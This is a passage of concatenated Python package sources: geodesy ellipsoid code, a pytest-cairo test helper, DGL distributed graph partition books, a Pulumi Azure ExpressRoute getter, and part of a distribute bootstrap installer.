for i in range(2 * n)
for j in range(n)
]
def meridian(self, lam, n=200):
"""
Return a list of `n` equispaced longitude-latitude
points lying along the meridian of longitude `lam`.
Avoid the poles.
"""
PI = self.pi()
delta = PI / n
return [(lam, -PI / 2 + delta * (0.5 + i)) for i in range(n)]
def parallel(self, phi, n=200):
"""
Return a list of `2*n` equispaced longitude-latitude
points lying along the parallel of latitude `phi`.
"""
PI = self.pi()
delta = PI / n
return [(-PI + delta * (0.5 + i), phi) for i in range(2 * n)]
def graticule(self, n=400, spacing=None):
"""
Return a list of longitude-latitude points sampled from a
longitude-latitude graticule on this ellipsoid with the given
spacing between meridians and between parallels.
The number of points on longitude and latitude per pi radians is `n`.
The spacing should be specified in the angle units used for this
ellipsoid.
If `spacing=None`, then a default spacing of pi/16 radians will be set.
EXAMPLES::
>>> E = UNIT_SPHERE
>>> print(len(E.graticule(n=400)))
25600
"""
PI = self.pi()
result = []
# delta = PI/n
# Set default spacing.
if spacing is None:
spacing = PI / 16
# Longitude lines.
lam = -PI
while lam < PI:
# result.extend([(lam, -PI/2 + delta*(0.5 + i)) for i in range(n)])
result.extend(self.meridian(lam, n))
lam += spacing
# Latitude lines. Avoid the poles.
eps = PI / 360
phi = -PI / 2 + eps
while phi < PI / 2:
# result.extend([(-PI + delta*(0.5 + i), phi) for i in range(2*n)])
result.extend(self.parallel(phi, n))
phi += spacing
return result
def get_points(self, filename):
"""
Return a list of longitude-latitude points contained in
the file with filename `filename`.
Assume the file is a text file containing at most one
longitude-latitude point per line with the coordinates separated by
whitespace and angles given in degrees.
"""
result = []
for line in open(filename, "rb"):
if line[0] not in ["-", "1", "2", "3", "4", "5", "6", "7", "8", "9"]:
# Ignore line.
continue
else:
# Split coordinate pair on whitespace.
p = [float(x) for x in line.split()]
result.append(p)
if self.radians:
# Convert to radians.
result = [deg2rad(p) for p in result]
return result
def xyz(self, lam, phi):
"""
Given a point on this ellipsoid with longitude-latitude coordinates
`(lam, phi)`, return the point's 3D rectangular coordinates.
EXAMPLES::
>>> E = UNIT_SPHERE
>>> print(my_round(E.xyz(0, 45), 15))
(0.707106781186548, 0.0, 0.707106781186548)
NOTES:: .. Issue #1 was ..
(0.70710678118654802, 0.0, 0.70710678118654802)
"""
a = self.a
e = self.e
if not self.radians:
lam, phi = deg2rad([lam, phi])
# Equals a iff e = 0 (sphere):
N = a / sqrt(1 - e ** 2 * sin(phi) ** 2)
return (
N * cos(lam) * cos(phi),
N * sin(lam) * cos(phi),
N * (1 - e ** 2) * sin(phi),
)
# Define some common ellipsoids.
WGS84_ELLIPSOID = Ellipsoid(a=WGS84_A, f=WGS84_F)
WGS84_ELLIPSOID_RADIANS = Ellipsoid(a=WGS84_A, f=WGS84_F, radians=True)
WGS84_ASPHERE = Ellipsoid(R=WGS84_R_A)
WGS84_ASPHERE_RADIANS = Ellipsoid(R=WGS84_R_A, radians=True)
EMR_SPHERE = Ellipsoid(R=R_EM)
EMR_SPHERE_RADIANS = Ellipsoid(R=R_EM, radians=True)
UNIT_SPHERE = Ellipsoid(R=1)
UNIT_SPHERE_RADIANS = Ellipsoid(R=1, radians=True)
|
PypiClean
|
/pytest-cairo-0.1.0.tar.gz/pytest-cairo-0.1.0/pytest_cairo/function.py
|
import asyncio
import contextlib
import inspect
import re
from abc import ABC, abstractmethod
from dataclasses import dataclass
from typing import Any, Callable, Iterator, List, Optional
from pytest import fail
from starkware.cairo.lang.compiler.preprocessor.preprocessor import (
AttributeScope,
)
from starkware.starknet.testing.objects import StarknetTransactionExecutionInfo
from starkware.starkware_utils.error_handling import StarkException
@dataclass
class ExpectedException:
start_pc: int
end_pc: int
message: Optional[str]
@classmethod
def from_attribute_scope(
cls, attribute_scope: AttributeScope,
) -> 'ExpectedException':
return cls(
start_pc=attribute_scope.start_pc,
end_pc=attribute_scope.end_pc,
message=attribute_scope.value,
)
@contextlib.contextmanager
def catch_expected_exceptions(
expected_exceptions: List[ExpectedException],
) -> Iterator[None]:
if len(expected_exceptions) > 1:
raise ValueError('Currently one "raises" block allowed per function.')
expected = next(iter(expected_exceptions), None)
try:
yield
except StarkException as e:
if not expected:
raise
# Get the pc values of the traceback entries and check whether any
# of them occurred inside the "raises" block. REVIEW: Ideally we
# would access the actual traceback entries (and not resort to
# regex), but I haven't found a way to access those.
pc_pattern = r'pc=\d+:(\d+)'
if not any(
expected.start_pc <= int(traceback_pc) < expected.end_pc
for traceback_pc in re.findall(pc_pattern, e.message)
):
raise
if re.search(expected.message or '', e.message):
return
raise
else:
if expected:
fail(f'Did not raise "{expected}"')
class ContractFunctionBase(ABC):
def __init__(self, func: Callable, abi: dict) -> None:
self.func = func
self.abi = abi
self.__name__ = abi['name']
self.__signature__ = inspect.signature(func)
def call(
self, *args: Any, **kwargs: Any,
) -> StarknetTransactionExecutionInfo:
return asyncio.run(
self.func(*args, **kwargs).call(),
)
def invoke(
self, *args: Any, **kwargs: Any,
) -> StarknetTransactionExecutionInfo:
return asyncio.run(
self.func(*args, **kwargs).invoke(),
)
@abstractmethod
def __call__(self, *args: Any, **kwargs: Any) -> Any:
...
class TestFunction(ContractFunctionBase):
def __init__(
self,
func: Callable,
abi: dict,
expected_exceptions: List[ExpectedException],
) -> None:
super().__init__(func, abi)
self.expected_exceptions = expected_exceptions
def __call__(self, *args: Any, **kwargs: Any) -> None:
with catch_expected_exceptions(self.expected_exceptions):
self.call(*args, **kwargs)
|
PypiClean
|
/dgl_cu90-0.5.3-cp38-cp38-win_amd64.whl/dgl_cu90-0.5.3.data/purelib/dgl/distributed/graph_partition_book.py
|
import numpy as np
from .. import backend as F
from ..base import NID, EID
from .. import utils
from .shared_mem_utils import _to_shared_mem, _get_ndata_path, _get_edata_path, DTYPE_DICT
from .._ffi.ndarray import empty_shared_mem
from ..ndarray import exist_shared_mem_array
def _move_metadata_to_shared_mem(graph_name, num_nodes, num_edges, part_id,
num_partitions, node_map, edge_map, is_range_part):
''' Move all metadata of the partition book to the shared memory.
We need these metadata to construct graph partition book.
'''
meta = _to_shared_mem(F.tensor([int(is_range_part), num_nodes, num_edges,
num_partitions, part_id]),
_get_ndata_path(graph_name, 'meta'))
node_map = _to_shared_mem(node_map, _get_ndata_path(graph_name, 'node_map'))
edge_map = _to_shared_mem(edge_map, _get_edata_path(graph_name, 'edge_map'))
return meta, node_map, edge_map
def _get_shared_mem_metadata(graph_name):
''' Get the metadata of the graph through shared memory.
The metadata includes the number of nodes and the number of edges. In the future,
we can add more information, especially for heterograph.
'''
# The metadata has 5 elements: is_range_part, num_nodes, num_edges, num_partitions, part_id
# We might need to extend the list in the future.
shape = (5,)
dtype = F.int64
dtype = DTYPE_DICT[dtype]
data = empty_shared_mem(_get_ndata_path(graph_name, 'meta'), False, shape, dtype)
dlpack = data.to_dlpack()
meta = F.asnumpy(F.zerocopy_from_dlpack(dlpack))
is_range_part, num_nodes, num_edges, num_partitions, part_id = meta
# Load node map
length = num_partitions if is_range_part else num_nodes
data = empty_shared_mem(_get_ndata_path(graph_name, 'node_map'), False, (length,), dtype)
dlpack = data.to_dlpack()
node_map = F.zerocopy_from_dlpack(dlpack)
# Load edge_map
length = num_partitions if is_range_part else num_edges
data = empty_shared_mem(_get_edata_path(graph_name, 'edge_map'), False, (length,), dtype)
dlpack = data.to_dlpack()
edge_map = F.zerocopy_from_dlpack(dlpack)
return is_range_part, part_id, num_partitions, node_map, edge_map
def get_shared_mem_partition_book(graph_name, graph_part):
'''Get a graph partition book from shared memory.
A graph partition book of a specific graph can be serialized to shared memory.
We can reconstruct a graph partition book from shared memory.
Parameters
----------
graph_name : str
The name of the graph.
graph_part : DGLGraph
The graph structure of a partition.
Returns
-------
GraphPartitionBook
A graph partition book for a particular partition.
'''
if not exist_shared_mem_array(_get_ndata_path(graph_name, 'meta')):
return None
is_range_part, part_id, num_parts, node_map, edge_map = _get_shared_mem_metadata(graph_name)
if is_range_part == 1:
return RangePartitionBook(part_id, num_parts, node_map, edge_map)
else:
return BasicPartitionBook(part_id, num_parts, node_map, edge_map, graph_part)
class GraphPartitionBook:
""" The base class of the graph partition book.
For distributed training, a graph is partitioned into multiple parts and is loaded
in multiple machines. The partition book contains all necessary information to locate
nodes and edges in the cluster.
The partition book contains various partition information, including
* the number of partitions,
* the partition ID that a node or edge belongs to,
* the node IDs and the edge IDs that a partition has.
* the local IDs of nodes and edges in a partition.
Currently, there are two classes that implement `GraphPartitionBook`:
`BasicGraphPartitionBook` and `RangePartitionBook`. `BasicGraphPartitionBook`
stores the mappings between every individual node/edge ID and partition ID on
every machine, which usually consumes a lot of memory, while `RangePartitionBook`
calculates the mapping between node/edge IDs and partition IDs based on some small
metadata because nodes/edges have been relabeled to have IDs in the same partition
fall in a contiguous ID range. `RangePartitionBook` is usually a preferred way to
provide mappings between node/edge IDs and partition IDs.
A graph partition book is constructed automatically when a graph is partitioned.
When a graph partition is loaded, a graph partition book is loaded as well.
Please see :py:meth:`~dgl.distributed.partition.partition_graph`,
:py:meth:`~dgl.distributed.partition.load_partition` and
:py:meth:`~dgl.distributed.partition.load_partition_book` for more details.
"""
def shared_memory(self, graph_name):
"""Move the partition book to shared memory.
Parameters
----------
graph_name : str
The graph name. This name will be used to read the partition book from shared
memory in another process.
"""
def num_partitions(self):
"""Return the number of partitions.
Returns
-------
int
number of partitions
"""
def metadata(self):
"""Return the partition meta data.
The meta data includes:
* The machine ID.
* Number of nodes and edges of each partition.
Examples
--------
>>> print(g.get_partition_book().metadata())
>>> [{'machine_id' : 0, 'num_nodes' : 3000, 'num_edges' : 5000},
... {'machine_id' : 1, 'num_nodes' : 2000, 'num_edges' : 4888},
... ...]
Returns
-------
list[dict[str, any]]
Meta data of each partition.
"""
def nid2partid(self, nids):
"""From global node IDs to partition IDs
Parameters
----------
nids : tensor
global node IDs
Returns
-------
tensor
partition IDs
"""
def eid2partid(self, eids):
"""From global edge IDs to partition IDs
Parameters
----------
eids : tensor
global edge IDs
Returns
-------
tensor
partition IDs
"""
def partid2nids(self, partid):
"""From partition id to global node IDs
Parameters
----------
partid : int
partition id
Returns
-------
tensor
node IDs
"""
def partid2eids(self, partid):
"""From partition id to global edge IDs
Parameters
----------
partid : int
partition id
Returns
-------
tensor
edge IDs
"""
def nid2localnid(self, nids, partid):
"""Get local node IDs within the given partition.
Parameters
----------
nids : tensor
global node IDs
partid : int
partition ID
Returns
-------
tensor
local node IDs
"""
def eid2localeid(self, eids, partid):
"""Get the local edge ids within the given partition.
Parameters
----------
eids : tensor
global edge ids
partid : int
partition ID
Returns
-------
tensor
local edge ids
"""
@property
def partid(self):
"""Get the current partition id
Return
------
int
The partition id of current machine
"""
class BasicPartitionBook(GraphPartitionBook):
"""This provides the most flexible way to store parition information.
The partition book maintains the mapping of every single node IDs and edge IDs to
partition IDs. This is very flexible at the coast of large memory consumption.
On a large graph, the mapping consumes significant memory and this partition book
is not recommended.
Parameters
----------
part_id : int
partition id of current partition book
num_parts : int
number of total partitions
node_map : tensor
global node id mapping to partition id
edge_map : tensor
global edge id mapping to partition id
part_graph : DGLGraph
The graph partition structure.
"""
def __init__(self, part_id, num_parts, node_map, edge_map, part_graph):
assert part_id >= 0, 'part_id cannot be a negative number.'
assert num_parts > 0, 'num_parts must be greater than zero.'
self._part_id = int(part_id)
self._num_partitions = int(num_parts)
self._nid2partid = F.tensor(node_map)
assert F.dtype(self._nid2partid) == F.int64, \
'the node map must be stored in an integer array'
self._eid2partid = F.tensor(edge_map)
assert F.dtype(self._eid2partid) == F.int64, \
'the edge map must be stored in an integer array'
# Get meta data of the partition book.
self._partition_meta_data = []
_, nid_count = np.unique(F.asnumpy(self._nid2partid), return_counts=True)
_, eid_count = np.unique(F.asnumpy(self._eid2partid), return_counts=True)
for partid in range(self._num_partitions):
part_info = {}
part_info['machine_id'] = partid
part_info['num_nodes'] = int(nid_count[partid])
part_info['num_edges'] = int(eid_count[partid])
self._partition_meta_data.append(part_info)
# Get partid2nids
self._partid2nids = []
sorted_nid = F.tensor(np.argsort(F.asnumpy(self._nid2partid)))
start = 0
for offset in nid_count:
part_nids = sorted_nid[start:start+offset]
start += offset
self._partid2nids.append(part_nids)
# Get partid2eids
self._partid2eids = []
sorted_eid = F.tensor(np.argsort(F.asnumpy(self._eid2partid)))
start = 0
for offset in eid_count:
part_eids = sorted_eid[start:start+offset]
start += offset
self._partid2eids.append(part_eids)
# Get nidg2l
self._nidg2l = [None] * self._num_partitions
global_id = part_graph.ndata[NID]
max_global_id = np.amax(F.asnumpy(global_id))
# TODO(chao): support int32 index
g2l = F.zeros((max_global_id+1), F.int64, F.context(global_id))
g2l = F.scatter_row(g2l, global_id, F.arange(0, len(global_id)))
self._nidg2l[self._part_id] = g2l
# Get eidg2l
self._eidg2l = [None] * self._num_partitions
global_id = part_graph.edata[EID]
max_global_id = np.amax(F.asnumpy(global_id))
# TODO(chao): support int32 index
g2l = F.zeros((max_global_id+1), F.int64, F.context(global_id))
g2l = F.scatter_row(g2l, global_id, F.arange(0, len(global_id)))
self._eidg2l[self._part_id] = g2l
# node size and edge size
self._edge_size = len(self.partid2eids(self._part_id))
self._node_size = len(self.partid2nids(self._part_id))
def shared_memory(self, graph_name):
"""Move data to shared memory.
"""
self._meta, self._nid2partid, self._eid2partid = _move_metadata_to_shared_mem(
graph_name, self._num_nodes(), self._num_edges(), self._part_id, self._num_partitions,
self._nid2partid, self._eid2partid, False)
def num_partitions(self):
"""Return the number of partitions.
"""
return self._num_partitions
def metadata(self):
"""Return the partition meta data.
"""
return self._partition_meta_data
def _num_nodes(self):
""" The total number of nodes
"""
return len(self._nid2partid)
def _num_edges(self):
""" The total number of edges
"""
return len(self._eid2partid)
def nid2partid(self, nids):
"""From global node IDs to partition IDs
"""
return F.gather_row(self._nid2partid, nids)
def eid2partid(self, eids):
"""From global edge IDs to partition IDs
"""
return F.gather_row(self._eid2partid, eids)
def partid2nids(self, partid):
"""From partition id to global node IDs
"""
return self._partid2nids[partid]
def partid2eids(self, partid):
"""From partition id to global edge IDs
"""
return self._partid2eids[partid]
def nid2localnid(self, nids, partid):
"""Get local node IDs within the given partition.
"""
if partid != self._part_id:
raise RuntimeError('Now GraphPartitionBook does not support \
getting remote tensor of nid2localnid.')
return F.gather_row(self._nidg2l[partid], nids)
def eid2localeid(self, eids, partid):
"""Get the local edge ids within the given partition.
"""
if partid != self._part_id:
raise RuntimeError('Now GraphPartitionBook does not support \
getting remote tensor of eid2localeid.')
return F.gather_row(self._eidg2l[partid], eids)
@property
def partid(self):
"""Get the current partition id
"""
return self._part_id
class RangePartitionBook(GraphPartitionBook):
"""This partition book supports more efficient storage of partition information.
This partition book is used if the nodes and edges of a graph partition are assigned
with contiguous IDs. It uses very small amount of memory to store the partition
information.
Parameters
----------
part_id : int
partition id of current partition book
num_parts : int
number of total partitions
node_map : tensor
map global node id to partition id
edge_map : tensor
map global edge id to partition id
"""
def __init__(self, part_id, num_parts, node_map, edge_map):
assert part_id >= 0, 'part_id cannot be a negative number.'
assert num_parts > 0, 'num_parts must be greater than zero.'
self._partid = part_id
self._num_partitions = num_parts
if not isinstance(node_map, np.ndarray):
node_map = F.asnumpy(node_map)
if not isinstance(edge_map, np.ndarray):
edge_map = F.asnumpy(edge_map)
self._node_map = node_map
self._edge_map = edge_map
# Get meta data of the partition book
self._partition_meta_data = []
for partid in range(self._num_partitions):
nrange_start = node_map[partid - 1] if partid > 0 else 0
nrange_end = node_map[partid]
erange_start = edge_map[partid - 1] if partid > 0 else 0
erange_end = edge_map[partid]
part_info = {}
part_info['machine_id'] = partid
part_info['num_nodes'] = int(nrange_end - nrange_start)
part_info['num_edges'] = int(erange_end - erange_start)
self._partition_meta_data.append(part_info)
def shared_memory(self, graph_name):
"""Move data to shared memory.
"""
self._meta = _move_metadata_to_shared_mem(
graph_name, self._num_nodes(), self._num_edges(), self._partid,
self._num_partitions, F.tensor(self._node_map), F.tensor(self._edge_map), True)
def num_partitions(self):
"""Return the number of partitions.
"""
return self._num_partitions
def _num_nodes(self):
""" The total number of nodes
"""
return int(self._node_map[-1])
def _num_edges(self):
""" The total number of edges
"""
return int(self._edge_map[-1])
def metadata(self):
"""Return the partition meta data.
"""
return self._partition_meta_data
def nid2partid(self, nids):
"""From global node IDs to partition IDs
"""
nids = utils.toindex(nids)
ret = np.searchsorted(self._node_map, nids.tonumpy(), side='right')
ret = utils.toindex(ret)
return ret.tousertensor()
def eid2partid(self, eids):
"""From global edge IDs to partition IDs
"""
eids = utils.toindex(eids)
ret = np.searchsorted(self._edge_map, eids.tonumpy(), side='right')
ret = utils.toindex(ret)
return ret.tousertensor()
def partid2nids(self, partid):
"""From partition id to global node IDs
"""
# TODO do we need to cache it?
start = self._node_map[partid - 1] if partid > 0 else 0
end = self._node_map[partid]
return F.arange(start, end)
def partid2eids(self, partid):
"""From partition id to global edge IDs
"""
# TODO do we need to cache it?
start = self._edge_map[partid - 1] if partid > 0 else 0
end = self._edge_map[partid]
return F.arange(start, end)
def nid2localnid(self, nids, partid):
"""Get local node IDs within the given partition.
"""
if partid != self._partid:
raise RuntimeError('Now RangePartitionBook does not support \
getting remote tensor of nid2localnid.')
nids = utils.toindex(nids)
nids = nids.tousertensor()
start = self._node_map[partid - 1] if partid > 0 else 0
return nids - int(start)
def eid2localeid(self, eids, partid):
"""Get the local edge ids within the given partition.
"""
if partid != self._partid:
raise RuntimeError('Now RangePartitionBook does not support \
getting remote tensor of eid2localeid.')
eids = utils.toindex(eids)
eids = eids.tousertensor()
start = self._edge_map[partid - 1] if partid > 0 else 0
return eids - int(start)
@property
def partid(self):
"""Get the current partition id
"""
return self._partid
NODE_PART_POLICY = 'node'
EDGE_PART_POLICY = 'edge'
class PartitionPolicy(object):
"""This defines a partition policy for a distributed tensor or distributed embedding.
When DGL shards tensors and stores them in a cluster of machines, it requires
partition policies that map rows of the tensors to machines in the cluster.
Although an arbitrary partition policy can be defined, DGL currently supports
two partition policies for mapping nodes and edges to machines. To define a partition
policy from a graph partition book, users need to specify the policy name ('node' or 'edge').
Parameters
----------
policy_str : str
Partition policy name, e.g., 'edge' or 'node'.
partition_book : GraphPartitionBook
A graph partition book
"""
def __init__(self, policy_str, partition_book):
# TODO(chao): support more policies for HeteroGraph
assert policy_str in (EDGE_PART_POLICY, NODE_PART_POLICY), \
'policy_str must be \'edge\' or \'node\'.'
self._policy_str = policy_str
self._part_id = partition_book.partid
self._partition_book = partition_book
@property
def policy_str(self):
"""Get the policy name
Returns
-------
str
The name of the partition policy.
"""
return self._policy_str
@property
def part_id(self):
"""Get partition ID
Returns
-------
int
The partition ID
"""
return self._part_id
@property
def partition_book(self):
"""Get partition book
Returns
-------
GraphPartitionBook
The graph partition book
"""
return self._partition_book
def to_local(self, id_tensor):
"""Mapping global ID to local ID.
Parameters
----------
id_tensor : tensor
Gloabl ID tensor
Return
------
tensor
local ID tensor
"""
if self._policy_str == EDGE_PART_POLICY:
return self._partition_book.eid2localeid(id_tensor, self._part_id)
elif self._policy_str == NODE_PART_POLICY:
return self._partition_book.nid2localnid(id_tensor, self._part_id)
else:
raise RuntimeError('Cannot support policy: %s ' % self._policy_str)
def to_partid(self, id_tensor):
"""Mapping global ID to partition ID.
Parameters
----------
id_tensor : tensor
Global ID tensor
Return
------
tensor
partition ID
"""
if self._policy_str == EDGE_PART_POLICY:
return self._partition_book.eid2partid(id_tensor)
elif self._policy_str == NODE_PART_POLICY:
return self._partition_book.nid2partid(id_tensor)
else:
raise RuntimeError('Cannot support policy: %s ' % self._policy_str)
def get_part_size(self):
"""Get data size of current partition.
Returns
-------
int
data size
"""
if self._policy_str == EDGE_PART_POLICY:
return len(self._partition_book.partid2eids(self._part_id))
elif self._policy_str == NODE_PART_POLICY:
return len(self._partition_book.partid2nids(self._part_id))
else:
raise RuntimeError('Cannot support policy: %s ' % self._policy_str)
def get_size(self):
"""Get the full size of the data.
Returns
-------
int
data size
"""
if self._policy_str == EDGE_PART_POLICY:
return self._partition_book._num_edges()
elif self._policy_str == NODE_PART_POLICY:
return self._partition_book._num_nodes()
else:
raise RuntimeError('Cannot support policy: %s ' % self._policy_str)
|
PypiClean
|
/pulumi_azure_nextgen-0.6.2a1613157620.tar.gz/pulumi_azure_nextgen-0.6.2a1613157620/pulumi_azure_nextgen/network/v20150501preview/get_express_route_circuit.py
|
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from . import outputs
__all__ = [
'GetExpressRouteCircuitResult',
'AwaitableGetExpressRouteCircuitResult',
'get_express_route_circuit',
]
@pulumi.output_type
class GetExpressRouteCircuitResult:
"""
ExpressRouteCircuit resource
"""
def __init__(__self__, authorizations=None, circuit_provisioning_state=None, etag=None, id=None, location=None, name=None, peerings=None, provisioning_state=None, service_key=None, service_provider_notes=None, service_provider_properties=None, service_provider_provisioning_state=None, sku=None, tags=None, type=None):
if authorizations and not isinstance(authorizations, list):
raise TypeError("Expected argument 'authorizations' to be a list")
pulumi.set(__self__, "authorizations", authorizations)
if circuit_provisioning_state and not isinstance(circuit_provisioning_state, str):
raise TypeError("Expected argument 'circuit_provisioning_state' to be a str")
pulumi.set(__self__, "circuit_provisioning_state", circuit_provisioning_state)
if etag and not isinstance(etag, str):
raise TypeError("Expected argument 'etag' to be a str")
pulumi.set(__self__, "etag", etag)
if id and not isinstance(id, str):
raise TypeError("Expected argument 'id' to be a str")
pulumi.set(__self__, "id", id)
if location and not isinstance(location, str):
raise TypeError("Expected argument 'location' to be a str")
pulumi.set(__self__, "location", location)
if name and not isinstance(name, str):
raise TypeError("Expected argument 'name' to be a str")
pulumi.set(__self__, "name", name)
if peerings and not isinstance(peerings, list):
raise TypeError("Expected argument 'peerings' to be a list")
pulumi.set(__self__, "peerings", peerings)
if provisioning_state and not isinstance(provisioning_state, str):
raise TypeError("Expected argument 'provisioning_state' to be a str")
pulumi.set(__self__, "provisioning_state", provisioning_state)
if service_key and not isinstance(service_key, str):
raise TypeError("Expected argument 'service_key' to be a str")
pulumi.set(__self__, "service_key", service_key)
if service_provider_notes and not isinstance(service_provider_notes, str):
raise TypeError("Expected argument 'service_provider_notes' to be a str")
pulumi.set(__self__, "service_provider_notes", service_provider_notes)
if service_provider_properties and not isinstance(service_provider_properties, dict):
raise TypeError("Expected argument 'service_provider_properties' to be a dict")
pulumi.set(__self__, "service_provider_properties", service_provider_properties)
if service_provider_provisioning_state and not isinstance(service_provider_provisioning_state, str):
raise TypeError("Expected argument 'service_provider_provisioning_state' to be a str")
pulumi.set(__self__, "service_provider_provisioning_state", service_provider_provisioning_state)
if sku and not isinstance(sku, dict):
raise TypeError("Expected argument 'sku' to be a dict")
pulumi.set(__self__, "sku", sku)
if tags and not isinstance(tags, dict):
raise TypeError("Expected argument 'tags' to be a dict")
pulumi.set(__self__, "tags", tags)
if type and not isinstance(type, str):
raise TypeError("Expected argument 'type' to be a str")
pulumi.set(__self__, "type", type)
@property
@pulumi.getter
def authorizations(self) -> Optional[Sequence['outputs.ExpressRouteCircuitAuthorizationResponse']]:
"""
Gets or sets list of authorizations
"""
return pulumi.get(self, "authorizations")
@property
@pulumi.getter(name="circuitProvisioningState")
def circuit_provisioning_state(self) -> Optional[str]:
"""
Gets or sets CircuitProvisioningState state of the resource
"""
return pulumi.get(self, "circuit_provisioning_state")
@property
@pulumi.getter
def etag(self) -> Optional[str]:
"""
Gets a unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@property
@pulumi.getter
def id(self) -> str:
"""
Resource Id
"""
return pulumi.get(self, "id")
@property
@pulumi.getter
def location(self) -> str:
"""
Resource location
"""
return pulumi.get(self, "location")
@property
@pulumi.getter
def name(self) -> str:
"""
Resource name
"""
return pulumi.get(self, "name")
@property
@pulumi.getter
def peerings(self) -> Optional[Sequence['outputs.ExpressRouteCircuitPeeringResponse']]:
"""
Gets or sets list of peerings
"""
return pulumi.get(self, "peerings")
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[str]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@property
@pulumi.getter(name="serviceKey")
def service_key(self) -> Optional[str]:
"""
Gets or sets ServiceKey
"""
return pulumi.get(self, "service_key")
@property
@pulumi.getter(name="serviceProviderNotes")
def service_provider_notes(self) -> Optional[str]:
"""
Gets or sets ServiceProviderNotes
"""
return pulumi.get(self, "service_provider_notes")
@property
@pulumi.getter(name="serviceProviderProperties")
def service_provider_properties(self) -> Optional['outputs.ExpressRouteCircuitServiceProviderPropertiesResponse']:
"""
Gets or sets ServiceProviderProperties
"""
return pulumi.get(self, "service_provider_properties")
@property
@pulumi.getter(name="serviceProviderProvisioningState")
def service_provider_provisioning_state(self) -> Optional[str]:
"""
Gets or sets ServiceProviderProvisioningState state of the resource
"""
return pulumi.get(self, "service_provider_provisioning_state")
@property
@pulumi.getter
def sku(self) -> Optional['outputs.ExpressRouteCircuitSkuResponse']:
"""
Gets or sets sku
"""
return pulumi.get(self, "sku")
@property
@pulumi.getter
def tags(self) -> Optional[Mapping[str, str]]:
"""
Resource tags
"""
return pulumi.get(self, "tags")
@property
@pulumi.getter
def type(self) -> str:
"""
Resource type
"""
return pulumi.get(self, "type")
class AwaitableGetExpressRouteCircuitResult(GetExpressRouteCircuitResult):
# pylint: disable=using-constant-test
def __await__(self):
if False:
yield self
return GetExpressRouteCircuitResult(
authorizations=self.authorizations,
circuit_provisioning_state=self.circuit_provisioning_state,
etag=self.etag,
id=self.id,
location=self.location,
name=self.name,
peerings=self.peerings,
provisioning_state=self.provisioning_state,
service_key=self.service_key,
service_provider_notes=self.service_provider_notes,
service_provider_properties=self.service_provider_properties,
service_provider_provisioning_state=self.service_provider_provisioning_state,
sku=self.sku,
tags=self.tags,
type=self.type)
def get_express_route_circuit(circuit_name: Optional[str] = None,
resource_group_name: Optional[str] = None,
opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetExpressRouteCircuitResult:
"""
Use this data source to access information about an existing resource.
:param str circuit_name: The name of the circuit.
:param str resource_group_name: The name of the resource group.
"""
__args__ = dict()
__args__['circuitName'] = circuit_name
__args__['resourceGroupName'] = resource_group_name
if opts is None:
opts = pulumi.InvokeOptions()
if opts.version is None:
opts.version = _utilities.get_version()
__ret__ = pulumi.runtime.invoke('azure-nextgen:network/v20150501preview:getExpressRouteCircuit', __args__, opts=opts, typ=GetExpressRouteCircuitResult).value
return AwaitableGetExpressRouteCircuitResult(
authorizations=__ret__.authorizations,
circuit_provisioning_state=__ret__.circuit_provisioning_state,
etag=__ret__.etag,
id=__ret__.id,
location=__ret__.location,
name=__ret__.name,
peerings=__ret__.peerings,
provisioning_state=__ret__.provisioning_state,
service_key=__ret__.service_key,
service_provider_notes=__ret__.service_provider_notes,
service_provider_properties=__ret__.service_provider_properties,
service_provider_provisioning_state=__ret__.service_provider_provisioning_state,
sku=__ret__.sku,
tags=__ret__.tags,
type=__ret__.type)
|
PypiClean
|
/CHIP_IO-0.7.1.tar.gz/CHIP_IO-0.7.1/distribute_setup.py
|
import os
import shutil
import sys
import time
import fnmatch
import tempfile
import tarfile
import optparse
from distutils import log
try:
from site import USER_SITE
except ImportError:
USER_SITE = None
try:
import subprocess
def _python_cmd(*args):
args = (sys.executable,) + args
return subprocess.call(args) == 0
except ImportError:
# will be used for python 2.3
def _python_cmd(*args):
args = (sys.executable,) + args
# quoting arguments if windows
if sys.platform == 'win32':
def quote(arg):
if ' ' in arg:
return '"%s"' % arg
return arg
args = [quote(arg) for arg in args]
return os.spawnl(os.P_WAIT, sys.executable, *args) == 0
DEFAULT_VERSION = "0.0.1"
DEFAULT_URL = "http://pypi.python.org/packages/source/d/distribute/"
SETUPTOOLS_FAKED_VERSION = "0.6c11"
SETUPTOOLS_PKG_INFO = """\
Metadata-Version: 1.0
Name: setuptools
Version: %s
Summary: xxxx
Home-page: xxx
Author: xxx
Author-email: xxx
License: xxx
Description: xxx
""" % SETUPTOOLS_FAKED_VERSION
def _install(tarball, install_args=()):
# extracting the tarball
tmpdir = tempfile.mkdtemp()
log.warn('Extracting in %s', tmpdir)
old_wd = os.getcwd()
try:
os.chdir(tmpdir)
tar = tarfile.open(tarball)
_extractall(tar)
tar.close()
# going in the directory
subdir = os.path.join(tmpdir, os.listdir(tmpdir)[0])
os.chdir(subdir)
log.warn('Now working in %s', subdir)
# installing
log.warn('Installing Distribute')
if not _python_cmd('setup.py', 'install', *install_args):
log.warn('Something went wrong during the installation.')
log.warn('See the error message above.')
# exitcode will be 2
return 2
finally:
os.chdir(old_wd)
shutil.rmtree(tmpdir)
def _build_egg(egg, tarball, to_dir):
# extracting the tarball
tmpdir = tempfile.mkdtemp()
log.warn('Extracting in %s', tmpdir)
old_wd = os.getcwd()
try:
os.chdir(tmpdir)
tar = tarfile.open(tarball)
_extractall(tar)
tar.close()
# going in the directory
subdir = os.path.join(tmpdir, os.listdir(tmpdir)[0])
os.chdir(subdir)
log.warn('Now working in %s', subdir)
# building an egg
log.warn('Building a Distribute egg in %s', to_dir)
_python_cmd('setup.py', '-q', 'bdist_egg', '--dist-dir', to_dir)
finally:
os.chdir(old_wd)
shutil.rmtree(tmpdir)
# returning the result
log.warn(egg)
if not os.path.exists(egg):
raise IOError('Could not build the egg.')
def _do_download(version, download_base, to_dir, download_delay):
egg = os.path.join(to_dir, 'distribute-%s-py%d.%d.egg'
% (version, sys.version_info[0], sys.version_info[1]))
if not os.path.exists(egg):
tarball = download_setuptools(version, download_base,
to_dir, download_delay)
_build_egg(egg, tarball, to_dir)
sys.path.insert(0, egg)
import setuptools
setuptools.bootstrap_install_from = egg
def use_setuptools(version=DEFAULT_VERSION, download_base=DEFAULT_URL,
